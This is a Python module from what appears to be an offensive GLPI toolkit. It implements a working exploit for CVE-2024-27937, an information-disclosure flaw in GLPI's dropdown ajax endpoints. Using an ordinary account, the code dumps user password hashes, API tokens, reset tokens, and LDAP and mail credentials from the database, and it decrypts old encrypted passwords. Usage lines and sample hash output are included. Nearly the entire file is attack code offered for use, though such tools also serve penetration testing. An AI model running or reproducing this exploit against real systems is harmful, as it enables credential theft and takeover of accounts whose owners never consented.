import re
import time
from http import HTTPStatus
from packaging import version
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class CVE_2024_27937(GlpiExploit):
    """
    This CVE abuse a permissive fields exposure on the dropdown components, so sad that it requires authentication

    @author BOREL Enzo
    @cvss 6.4
    @name CVE_2024_27937
    """
    min_version = "0.85"
    max_version = "10.0.13"
    _impacts = "Object disclosure, Recover sensitive infos from the glpi database."
    _privilege = "User"
    _is_check_opsec_safe = True

    js_regex = {"idor_token": re.compile(r"_idor_token:\s*(\")?([A-Za-z0-9]+)(\1)?\s*,"),
                "right": re.compile(r"right:\s*(\")?(\w+)(\1)?\s*,"),
                "entity": re.compile(r"entity_restrict:\s*(\")?([^\"\s]+)(\1)?\s*,")
                }

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allows any authenticated user to list database fields of any other user.\n"
        infos += "This exploit [b green]is awesome[/], cause it really is safe and kind of show sensitive infos (such as password).\n"
        infos += "\n[b red u]Important:[/]\nOn GLPI < 9.5.0, encrypted password can be decrypted, see [i u]GlpiUtils::decrypt_old[/] method\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]itemtype (default 'User')[/i]: The itemtype to recover content from the database (child of CommonDBTM)\n"
        infos += " - [i]fields (default: 'id,password,api_token,password_forget_token')[/i]:\n\tThe list of fields name (taken from the database) tor ecover (comma separated)\n"
        infos += " - [i]page_limit (default 2000)[/i]: The maximum number of result to recover from the database\n"
        infos += " - [i]page (optionnal)[/i]:\n\tThe page number to show, equivalent to SQL -> LIMIT page_limit OFFSET (page - 1)*page_limit\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Recover the fields 'password, api_token' of the 200 first User in the db[/]\n"
        infos += "--run -O fields='password, api_token' page_limit=200\n"

        infos += "\n[grey66]# Dump the config stored in the database[/]\n"
        infos += "--run -O itemtype='Config' fields='value'\n"

        infos += "\n[grey66]# Recover the plugins installed on the target[/]\n"
        infos += "--run -O itemtype='Plugin' fields='directory,version'\n"

        infos += "\n[grey66]# Recover the ldap connections informations[/]\n"
        infos += "--run -O itemtype='AuthLDAP' fields='rootdn_passwd,host,basedn,rootdn,is_active'\n"

        infos += "\n[grey66]# Recover the mail connections informations[/]\n"
        infos += "--run -O itemtype='AuthMail' fields='name, connect_string, host'\n"

        infos += "\n[grey66]# Recover the logs from the database[/]\n"
        infos += "--run -O itemtype='Log' fields='old_value, new_value'\n"

        infos += "\n[grey66]# Recover the events from the database[/]\n"
        infos += "--run -O itemtype='Glpi\\Event' fields='id,message'\n"

        infos += "\n[grey66]# Recover the Tickets Answers from the database[/]\n"
        infos += "--run -O itemtype='ITILFollowup' fields='users_id,content'\n"
        
        infos += "\n[grey66]# Recover the Tickets Solutions from the database from number 2000 to 4000 (page 2)[/]\n"
        infos += "--run -O itemtype='ITILSolution' fields='users_id,content' page=2\n"
        infos += "--run -O itemtype='TicketTask' fields='uuid,content'\n"

        infos += "\n[grey66]# Recover the Users by profile and entities[/]\n"
        infos += "--run -O itemtype='Profile_User' fields='users_id,profiles_id,entities_id'\n"

        infos += "\n[u]Output example:[/u]\n"
        infos += "[grey66]============\nglpi;$2y$10$rXXzbc2ShaiCldwkw4AZL.n.9QSH7c0c9XJAyyjrbL9BwmWditAYm\n"
        infos += "glpi-system\nnormal;$2y$10$Z6doq4zVHkSPZFbPeXTCluN1Q/r0ryZ3ZsSJncJqkN3.8cRiN0NV.[/]\n"
        infos += "\nExploit is [green b]Super Safe[/]"
        return infos

    def _extract(self, name, html):
        """
        Extract a regex from html
        """
        val = re.findall(self.js_regex[name], html)
        if val:
            all_match = val[0]
            if len(all_match) == 3:
                result = all_match[1]
                if result == "null":
                    return ""
                return result
        Log.log(f"Cannot find property {name}")
        return None

    def _get_necessary_values(self, html):
        """
        Recover the idor_token and some other necessary values for exploit
        """
        values = {"_idor_token": ""}
        values["_idor_token"] = self._extract("idor_token", html)

        right = self._extract("right", html)
        if right:
            values["right"] = right

        entity = self._extract("entity", html) # entity_restrict: "[0,1]"
        if entity:
            values["entity_restrict"] = entity

        return values

    @staticmethod
    def _capitalize(value):
        """
        Return the capitalise needed for some classes
        """
        lower_val = value.lower()
        if lower_val == "authldap":
            return "AuthLDAP"
        elif lower_val == 'glpi\\event':
            return "Glpi\\Event"
        elif lower_val == 'authmail':
            return "AuthMail"
        elif lower_val == 'itilfollowup':
            return "ITILFollowup"
        elif lower_val == "itilsolution":
            return "ITILSolution"
        elif lower_val == "usercategory":
            return "UserCategory"
        elif lower_val == "profileright":
            return "ProfileRight"
        elif lower_val == "profile_user":
            return "Profile_User"
        elif lower_val == "tickettask":
            return "TicketTask"
        elif lower_val == "mailcollector":
            return "MailCollector"
        elif lower_val == "apiclient":
            return "APIClient"
        elif lower_val == "dashboard" or lower_val == "glpi\\dashboard\\dashboard":
            return "Glpi\\Dashboard\\Dashboard"
        return value.capitalize()

    @staticmethod
    def get_table_for_itemtype(itemtype):
        """
        Return the table name for an itemtype

        :param itemtype: The itemtype to find the table for
        :type itemtype: str
        """
        if itemtype.lower() == 'glpi\\event':
            return "glpi_events"
        elif itemtype.lower() == "usercategory":
            return "glpi_usercategories"
        elif itemtype.lower() == "glpi\\dashboard\\dashboard":
            return "glpi_dashboards_dashboards"
        elif itemtype.lower() == "pluginformcreatorform":
            return "glpi_plugin_formcreator_forms"
        return f"glpi_{itemtype.lower()}s"

    def _try_decrypt_password(self, results, fields, itemtype):
        """
        Try to decrypt the password from the result

        :param results: The results from html
        :type results: Dict[str, Any]

        :param fields: The fields given as parameters by the user
        :type fields: List[str]

        :param itemtype: The itemtype specified by the user
        :type itemtype: str
        """
        version_used = self.glpi_session.glpi_infos.glpi_version
        if(version_used is None or version.parse(version_used) > version.parse('9.4.6')):
            return

        itemtype = self._capitalize(itemtype)
        encrypted_password_fields = {
                                     "AuthLDAP": ["rootdn_passwd"],
                                     "Config": ["proxy_passwd", "smtp_passwd"]
                                     }

        sensitive_field = encrypted_password_fields.get(itemtype)
        if not sensitive_field:
            return

        print()
        intersect_fields = [value for value in sensitive_field if value in fields]
        if intersect_fields:
            Log.msg(f"Found potentially encrypted field: [i]{','.join(intersect_fields)}[/i]")
            for value in results:
                if("text" in value.keys()):
                    values_splitted = value["text"].split(" - ")
                    for field_to_decrypt in intersect_fields:
                        field_index = fields.index(field_to_decrypt) + 1 # The result add a wolumn usually
                        if field_index < len(values_splitted):
                            unencrypted = GlpiUtils.decrypt_old(values_splitted[field_index])
                            Log.msg(f"Decryption result: '{values_splitted[field_index]}' ==> {unencrypted.decode()}")

        else:
            for value in results:
                if("text" in value.keys()):
                    values_splitted = value["text"].split(" - ")
                    if(len(values_splitted) == 2
                        and values_splitted[0] in sensitive_field):
                        encrypted = values_splitted[1]
                        if encrypted:
                            Log.msg(f"Found potentially encrypted field: [i]{values_splitted[0]}[/i]")
                            unencrypted = GlpiUtils.decrypt_old(encrypted)
                            Log.msg(f"Decryption result: '{encrypted}' ==> {unencrypted.decode()}")

    def run(self,
            itemtype="User",
            fields="id,password,api_token,password_forget_token",
            page_limit="2000",
            page=None):
        """
        Run the exploit on the target
        """
        # Because 'display_dc_position' => true in /ajax/cable.php for version < 10.0.10
        # itemtype is lower then capitalize, this is for staying compatible in older versions
        # In order to work with glpi 9.x.x you must provide the itemtype in lowercase
        displaywith = []
        for field in fields.split(","):
            displaywith.append(field.strip())

        if(itemtype.lower() == "user" or itemtype.lower() == "group"):
            itemtype = itemtype.lower()
            res = self.post("/ajax/dropdownValidator.php", data={"validatortype": itemtype, "right": "all", "entity": -1})

        else:
            itemtype = self._capitalize(itemtype)
            Log.log(f"Itemtype [blue]{itemtype}[/blue] may only be retrieved on version < 10.0.13")
            res = self.post("/ajax/socket.php", data={"itemtype": itemtype, "action": "getItemsFromItemtype", "dom_rand": "", "dom_name": ""})

        add_values = self._get_necessary_values(res.text)

        add_values["itemtype"] = self._capitalize(itemtype) # Important for passing the IDOR check, as the classname is used
        if add_values["itemtype"] in ["Log",
                                      "Glpi\\Event",
                                      "ITILFollowup",
                                      "ITILSolution",
                                      "ProfileRight",
                                      "Profile",
                                      "Profile_User",
                                      "TicketTask"]:
            add_values["order"] = "id"

        add_values["displaywith[]"] = displaywith
        add_values["page"] = 1
        if(page and page.isdigit()):
            add_values["page"] = page
        add_values["page_limit"] = page_limit
        add_values["display_emptychoice"] = 1
        add_values["emptylabel"] = "============"

        exploit_res = self.post("/ajax/getDropdownValue.php", data=add_values)

        try:
            results = exploit_res.json()["results"]
            Log.msg(f"Value recovered for [blue]{itemtype.capitalize()}[/blue]([cyan]{fields}[/cyan]):")
            for value in results:
                if("text" in value.keys()):
                    values_splitted = value["text"].split(" - ")
                    print(";".join(values_splitted))
                
                if("children" in value.keys()):
                    for val in value["children"]:
                        print(val)

            self._try_decrypt_password(results, displaywith, itemtype)

        except Exception as e:
            Log.err(e)
            if 'results' in exploit_res.text:
                Log.log("results might be in http response")
                print(exploit_res.text)
